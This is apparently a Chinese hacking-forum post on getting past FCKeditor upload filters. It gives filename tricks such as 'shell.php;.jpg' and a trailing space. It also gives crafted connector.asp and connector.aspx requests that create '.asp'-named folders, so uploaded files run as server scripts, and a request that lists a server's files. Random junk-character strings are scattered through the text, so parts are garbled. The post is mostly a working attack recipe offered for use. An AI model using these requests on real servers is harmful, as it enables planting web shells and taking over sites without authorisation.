很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg
* {' ^& J7 O& x5 U; O2 k8 ^$ I6 s+ b# ] [
提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。8 o# h& Y9 k# [7 S# z( n
/ U6 k) W+ Z1 t" m继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
7 x) U6 A: r, s) I6 ]0 H9 Q$ m+ v, B# [$ o7 Q8 ~
突破建立文件夹:
9 W1 f( \" Z$ y/ g) _6 m0 A; D# t& M: c3 B, ?
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
& l( J& @3 w" R2 K+ p% f( {' R. q6 ~+ U( m! I
参数:0 F. f! x9 _( f- E
V4 l4 Z3 c z! `" O! r
当前目录名:CurrentFolder=/qing.asp% h$ W4 l$ T3 e( [8 N
) h* W. t) j' g& N/ p' ]( Z- }) R# E新的目录名:NewFolderName=x.asp7 U: r& V, ]+ w# w/ v
Y0 R* h% ] l4 V其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……
1 Q; Y* O' n0 N$ v6 t; u
6 t; }5 E# R% R0 R0 W那么 x.asp 就已经建立生成了,此方法百试百灵!
1 x3 L6 t% Z% n4 d% `7 K
# I. X6 U! f7 W/ D6 F新建文件夹参数 x.asp,基本都能搞定。; T; }4 A7 K7 x. A4 f
3 y# Y# p7 _" c u! c8 d7 ^下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建
2 N v% ^7 Y. q# `
1 `5 T, T+ E* H q A0 X" haspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp% {9 u! `4 w v S
& u, _/ k9 B, m/ }/ _获取文件列表0 @6 ~: W( e. W9 I
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F3 G. n S3 T! j
! s9 |1 p; m* j/ @' w9 j. T8 D |